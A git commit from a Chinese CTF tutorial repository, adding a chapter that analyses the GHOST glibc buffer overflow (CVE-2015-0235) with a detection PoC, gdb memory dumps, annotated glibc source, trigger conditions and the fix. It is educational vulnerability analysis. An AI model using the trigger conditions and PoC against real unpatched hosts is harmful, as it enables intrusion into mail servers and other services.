add 7.1.2

This commit is contained in:
firmianay 2018-01-26 00:50:41 +08:00
parent e40c02ec30
commit c3a36ad84d
9 changed files with 319 additions and 1 deletions

View File

@ -83,6 +83,7 @@ GitHub 地址https://github.com/firmianay/CTF-All-In-One
* [五、高级篇](doc/5_advanced.md)
* [5.1 Fuzz 测试](doc/5.1_fuzz.md)
* [5.1.1 AFL fuzzer](doc/5.1.1_afl_fuzzer.md)
* [5.1.2 libFuzzer](doc/5.1.2_libfuzzer.md)
* [5.2 Pin 动态二进制插桩](doc/5.2_pin.md)
* [5.3 angr 二进制自动化分析](doc/5.3_angr.md)
* [5.4 符号执行](doc/5.4_symbolic.md)
@ -117,6 +118,7 @@ GitHub 地址https://github.com/firmianay/CTF-All-In-One
* [6.3.1 web HCTF2017 babycrack](doc/6.3.1_web_hctf2017_babycrack.md)
* [七、实战篇](doc/7_exploit.md)
* [7.1.1 [CVE-2017-11543] tcpdump 4.9.0 Buffer Overflow](doc/7.1.1_tcpdump_2017-11543.md)
* [7.1.2 [CVE-2015-0235] glibc 2.17 Buffer Overflow](doc/7.1.2_glibc_2015-0235.md)
* [八、附录](doc/8_appendix.md)
* [8.1 更多 Linux 工具](doc/8.1_Linuxtools.md)
* [8.2 更多 Windows 工具](doc/8.2_wintools.md)

View File

@ -2,6 +2,11 @@
- [AFL 简介](#afl-简介)
- [安装](#安装)
- [简单示例](#简单示例)
## AFL 简介
AFL 是一个强大的 Fuzzing 测试工具,由 lcamtuf 所开发。利用 AFL 在源码编译时进行插桩(简称编译时插桩),可以自动产生测试用例来探索二进制程序内部新的执行路径。与其他基于插桩技术的 fuzzer 相比AFL 具有较低的性能消耗,各种高效的模糊测试策略和最小化技巧,它无需很多复杂的配置即可处理现实中的复杂程序。另外 AFL 也支持直接对没有源码的二进制程序进行黑盒测试,但需要 QEMU 的支持。
## 安装
@ -14,4 +19,7 @@ $ sudo make install
```
## 简单示例
## 参考资料

7
doc/5.1.2_libfuzzer.md Normal file
View File

@ -0,0 +1,7 @@
# 5.1.2 libFuzzer
- [参考资料](#参考资料)
## 参考资料
- [libFuzzer a library for coverage-guided fuzz testing.](http://llvm.org/docs/LibFuzzer.html)

View File

@ -2,6 +2,7 @@
- [5.1 Fuzz 测试](5.1_fuzz.md)
- [5.1.1 AFL fuzzer](5.1.1_afl_fuzzer.md)
- [5.1.2 libFuzzer](5.1.2_libfuzzer.md)
- [5.2 Pin 动态二进制插桩](5.2_pin.md)
- [5.3 angr 二进制自动化分析](5.3_angr.md)
- [5.4 Symbolic Execution 符号执行技术](5.4_symbolic.md)

View File

@ -19,3 +19,5 @@
- [6.2.4 re CSAWCTF2015 wyvern](6.2.4_re_csawctf2015_wyvern.md)
- [6.2.5 re PicoCTF2014 Baleful](6.2.5_re_picoctf2014_baleful.md)
- [6.2.6 re SECCON2017 printf_machine](6.2.6_re_seccon2017_printf_machine.md)
- web
- [6.3.1 web HCTF2017 babycrack](6.3.1_web_hctf2017_babycrack.md)

View File

@ -6,7 +6,7 @@
- [参考资料](#参考资料)
[下载文件](../src/exploit/7.1.1_tcpdump_bof)
[下载文件](../src/exploit/7.1.1_tcpdump_2017-11543)
## 漏洞描述
tcpdump 是 Linux 上一个强大的网络数据采集分析工具,其 4.9.0 版本的 `sliplink_print` 函数(位于 `print-sl.c`)中存在一个栈溢出漏洞,原因是程序在进行内存存取的操作前未对一些值做判断,导致操作了非法的内存地址。攻击者可以利用这个漏洞触发拒绝服务,甚至任意代码执行。

View File

@ -0,0 +1,259 @@
# 7.1.2 [CVE-2015-0235] glibc 2.17 Buffer Overflow
- [漏洞描述](#漏洞描述)
- [漏洞复现](#漏洞复现)
- [漏洞分析](#漏洞分析)
- [参考资料](#参考资料)
[下载文件](../src/exploit/7.1.2_glibc_2015-0235)
## 漏洞描述
glibc 是 GNU 的 C 运行库,几乎所有 Linux 的其他运行库都依赖于它。该漏洞被称为 GHOST发生的原因是函数 `__nss_hostname_digits_dots()` 存在缓冲区溢出,可以通过 `gethostbyname*()` 系列函数触发,最容易的攻击入口是邮件服务器,攻击者可以实施远程攻击甚至完全控制目标系统。受影响的版本从 glibc-2.2 到 glibc-2.18 之前。
## 漏洞复现
| |推荐使用的环境 | 备注
--- | --- | ---
操作系统 | Ubuntu 12.04 | 体系结构64 位
调试器 | gdb-peda| 版本号7.4
漏洞软件 | glibc | 版本号2.15
受影响软件 | Exim4 | 版本号 4.76
通过下面的 PoC 可以知道自己的系统是否受到影响:
```c
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#define CANARY "in_the_coal_mine"
struct {
char buffer[1024];
char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };
int main(void) {
struct hostent resbuf;
struct hostent *result;
int herrno;
int retval;
/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
char name[sizeof(temp.buffer)];
memset(name, '0', len);
name[len] = '\0';
retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
if (strcmp(temp.canary, CANARY) != 0) {
puts("vulnerable");
exit(EXIT_SUCCESS);
}
if (retval == ERANGE) {
puts("not vulnerable");
exit(EXIT_SUCCESS);
}
puts("should not happen");
exit(EXIT_FAILURE);
}
```
```
$ file /lib/x86_64-linux-gnu/libc-2.15.so
/lib/x86_64-linux-gnu/libc-2.15.so: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked (uses shared libs), BuildID[sha1]=0x7c4f51534761d69afd01ac03d3c9bc7ccd21f6c6, for GNU/Linux 2.6.24, stripped
$ gcc -g poc.c
$ ./a.out
vulnerable
```
很明显是存在漏洞的。简单解释一下 PoC在栈上布置一个区域 temp由 buffer 和 canary 组成,然后初始化一个 name最后执行函数 gethostbyname_r(),正常情况下,当把 name+\*host\_addr+\*h\_addr\_ptrs+1 复制到 buffer 时,会正好覆盖缓冲区且没有溢出。然而,实际情况并不是这样。
函数 `gethostbyname_r()``include/netdb.h` 中定义如下:
```c
struct hostent {
char *h_name; /* official name of host */
char **h_aliases; /* alias list */
int h_addrtype; /* host address type */
int h_length; /* length of address */
char **h_addr_list; /* list of addresses */
}
#define h_addr h_addr_list[0] /* for backward compatibility */
int gethostbyname_r(const char *name,
struct hostent *ret, char *buf, size_t buflen,
struct hostent **result, int *h_errnop);
```
- `name`:网页的 host 名称
- `ret`:成功时用于存储结果
- `buf`:临时缓冲区,存储过程中的各种信息
- `buflen`:缓冲区大小
- `result`:成功时指向 ret
- `h_errnop`:存储错误码
执行前:
```
gdb-peda$ x/6gx temp.buffer
0x601060 <temp>: 0x0000726566667562 0x0000000000000000 <-- buffer <-- host_addr
0x601070 <temp+16>: 0x0000000000000000 0x0000000000000000 <-- h_addr_ptrs
0x601080 <temp+32>: 0x0000000000000000 0x0000000000000000 <-- hostname
gdb-peda$ x/20gx temp.canary-0x10
0x601450 <temp+1008>: 0x0000000000000000 0x0000000000000000
0x601460 <temp+1024>: 0x635f6568745f6e69 0x656e696d5f6c616f <-- canary
0x601470 <temp+1040>: 0x0000000000000000 0x0000000000000000
```
执行后:
```
gdb-peda$ x/6gx temp.buffer
0x601060 <temp>: 0x0000000000000000 0x0000000000000000 <-- buffer <-- host_addr
0x601070 <temp+16>: 0x0000000000601060 0x0000000000000000 <-- h_addr_ptrs
0x601080 <temp+32>: 0x0000000000000000 0x3030303030303030 <-- h_alias_ptr, hostname
gdb-peda$ x/6gx temp.canary-0x10
0x601450 <temp+1008>: 0x3030303030303030 0x3030303030303030
0x601460 <temp+1024>: 0x0030303030303030 0x656e696d5f6c616f <-- canary
0x601470 <temp+1040>: 0x0000000000000000 0x0000000000000000
```
canary 被覆盖了 8 个字节,即溢出了 8 个字节。
## 漏洞分析
```
grep -irF '__nss_hostname_digits_dots' ./*
./CANCEL-FCT-WAIVE:__nss_hostname_digits_dots
./ChangeLog.12: * nss/Versions (libc): Add __nss_hostname_digits_dots to GLIBC_2.2.2.
[...]
./nss/getXXbyYY.c: if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
./nss/digits_dots.c:__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
./nss/digits_dots.c:libc_hidden_def (__nss_hostname_digits_dots)
./nss/getXXbyYY_r.c: switch (__nss_hostname_digits_dots (name, resbuf, &buffer, NULL,
```
通过搜索漏洞函数我们发现,函数是从 glibc-2.2.2 开始引入的,且仅在 getXXbyYY.c 和 getXXbyYY_r.c 中被使用,且需要 `HANDLE_DIGITS_DOTS` 被定义:
```c
// inet/gethstbynm.c
#define NEED_H_ERRNO 1
// nss/getXXbyYY_r.c
#ifdef HANDLE_DIGITS_DOTS
if (buffer != NULL)
{
if (__nss_hostname_digits_dots (name, &resbuf, &buffer,
&buffer_size, 0, &result, NULL, AF_VAL,
H_ERRNO_VAR_P))
goto done;
}
#endif
```
具体程序如下来自glibc-2.17
```c
// nss/digits_dots.c
int
__nss_hostname_digits_dots (const char *name, struct hostent *resbuf,
char **buffer, size_t *buffer_size,
size_t buflen, struct hostent **result,
enum nss_status *status, int af, int *h_errnop)
{
[...]
if (isdigit (name[0]) || isxdigit (name[0]) || name[0] == ':')
{
const char *cp;
char *hostname;
typedef unsigned char host_addr_t[16];
host_addr_t *host_addr;
typedef char *host_addr_list_t[2];
host_addr_list_t *h_addr_ptrs;
char **h_alias_ptr;
size_t size_needed;
[...]
// size_needed 决定了缓冲区的大小,即 *host_addr+*h_addr_ptrs+name+1 1存储结尾的'\0'
size_needed = (sizeof (*host_addr)
+ sizeof (*h_addr_ptrs) + strlen (name) + 1);
if (buffer_size == NULL) // 重入分支
{
if (buflen < size_needed)
{
[...]
goto done;
}
}
else if (buffer_size != NULL && *buffer_size < size_needed) // 非重入分支
{
char *new_buf;
*buffer_size = size_needed;
new_buf = (char *) realloc (*buffer, *buffer_size); // 重新分配缓冲区,以保证其足够大
if (new_buf == NULL)
{
[...]
goto done;
}
*buffer = new_buf;
}
[...]
// 但这里在计算长度时却是 host_addr+h_addr_ptrs+h_alias_ptr+hostname
// 与缓冲区相差了一个 h_alias_ptr64 位下为 8 字节
host_addr = (host_addr_t *) *buffer;
h_addr_ptrs = (host_addr_list_t *)
((char *) host_addr + sizeof (*host_addr));
h_alias_ptr = (char **) ((char *) h_addr_ptrs + sizeof (*h_addr_ptrs));
hostname = (char *) h_alias_ptr + sizeof (*h_alias_ptr);
if (isdigit (name[0]))
{
for (cp = name;; ++cp)
{
if (*cp == '\0')
{
int ok;
if (*--cp == '.')
break;
[...]
if (af == AF_INET)
ok = __inet_aton (name, (struct in_addr *) host_addr);
else
{
assert (af == AF_INET6);
ok = inet_pton (af, name, host_addr) > 0;
}
if (! ok)
{
[...]
goto done;
}
resbuf->h_name = strcpy (hostname, name); // 复制 name 到 hostname触发缓冲区溢出
[...]
goto done;
}
if (!isdigit (*cp) && *cp != '.')
break;
}
}
```
注释已经在代码中了,也就是实际需要的缓冲区长度与所申请的缓冲区长度不一致的问题。当然想要触发漏洞,需要满足下面几个条件:
- name 的第一个字符必须是数字
- name 的最后一个字符不能是 "."
- name 的所有字符只能是数字或者 "."
- 必须是 IPv4 地址且必须是这些格式中的一种:"a.b.c.d""a.b.c""a",且 a,b,c,d 均不能超过无符号整数的最大值,即 0xffffffff
对比一下 glibc-2.18 的代码,也就是把 h_alias\_ptr 的长度加上了,问题完美解决:
```c
size_needed = (sizeof (*host_addr)
+ sizeof (*h_addr_ptrs)
+ sizeof (*h_alias_ptr) + strlen (name) + 1);
```
## 参考资料
- [CVE-2015-0235 Detail](https://nvd.nist.gov/vuln/detail/CVE-2015-0235)
- [Qualys Security Advisory CVE-2015-0235](http://www.openwall.com/lists/oss-security/2015/01/27/9)
- [Exim - 'GHOST' glibc gethostbyname Buffer Overflow (Metasploit)](https://www.exploit-db.com/exploits/36421/)
- [Exim ESMTP 4.80 - glibc gethostbyname Denial of Service](https://www.exploit-db.com/exploits/35951/)

View File

@ -1,3 +1,4 @@
# 第七篇 实战篇
- [7.1.1 [CVE-2017-11543] tcpdump 4.9.0 Buffer Overflow](7.1.1_tcpdump_2017-11543.md)
- [7.1.2 [CVE-2015-0235] glibc 2.17 Buffer Overflow](doc/7.1.2_glibc_2015-0235.md)

View File

@ -0,0 +1,38 @@
#include <netdb.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <errno.h>
#define CANARY "in_the_coal_mine"
struct {
char buffer[1024];
char canary[sizeof(CANARY)];
} temp = { "buffer", CANARY };
int main(void) {
struct hostent resbuf;
struct hostent *result;
int herrno;
int retval;
/*** strlen (name) = size_needed - sizeof (*host_addr) - sizeof (*h_addr_ptrs) - 1; ***/
size_t len = sizeof(temp.buffer) - 16*sizeof(unsigned char) - 2*sizeof(char *) - 1;
char name[sizeof(temp.buffer)];
memset(name, '0', len);
name[len] = '\0';
retval = gethostbyname_r(name, &resbuf, temp.buffer, sizeof(temp.buffer), &result, &herrno);
if (strcmp(temp.canary, CANARY) != 0) {
puts("vulnerable");
exit(EXIT_SUCCESS);
}
if (retval == ERANGE) {
puts("not vulnerable");
exit(EXIT_SUCCESS);
}
puts("should not happen");
exit(EXIT_FAILURE);
}